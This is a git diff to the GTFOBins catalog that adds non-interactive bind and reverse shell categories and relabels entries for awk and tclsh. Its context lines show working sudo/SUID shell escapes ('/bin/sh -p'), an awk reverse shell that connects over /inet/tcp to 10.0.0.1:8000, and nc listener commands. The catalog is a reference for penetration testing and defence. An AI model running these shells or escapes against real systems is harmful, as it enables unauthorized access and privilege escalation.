diff --git a/_data/functions.yml b/_data/functions.yml index a819eac..4426ab9 100644 --- a/_data/functions.yml +++ b/_data/functions.yml @@ -37,3 +37,11 @@ reverse-shell: load-library: label: Library load description: It loads shared libraries that may be used to run code in the binary execution context. + +bind-shell-non-interactive: + label: Non-interactive bind shell + description: It can bind a non-interactive shell to a local port to allow remote network access. + +reverse-shell-non-interactive: + label: Non-interactive reverse shell + description: It can send back a non-interactive reverse shell to a listening attacker to open a remote network access. diff --git a/_gtfobins/awk.md b/_gtfobins/awk.md index cf1abbd..c9bd2a8 100644 --- a/_gtfobins/awk.md +++ b/_gtfobins/awk.md @@ -6,7 +6,7 @@ functions: - code: sudo awk 'BEGIN {system("/bin/sh -p")}' suid-limited: - code: ./awk 'BEGIN {system("/bin/sh -p")}' - reverse-shell: + reverse-shell-non-interactive: - description: Run `nc -l -p 8000` to receive the shell on the other end. code: | RHOST=10.0.0.1 @@ -15,7 +15,7 @@ functions: s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' - bind-shell: + bind-shell-non-interactive: - description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end. code: | LPORT=8000 diff --git a/_gtfobins/tclsh.md b/_gtfobins/tclsh.md index b625ca5..05ed4c8 100644 --- a/_gtfobins/tclsh.md +++ b/_gtfobins/tclsh.md @@ -12,7 +12,7 @@ functions: - code: | ./tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr - reverse-shell: + reverse-shell-non-interactive: - description: Run `nc -l -p 8000` to receive the shell on the other end. code: | export RHOST=10.0.0.1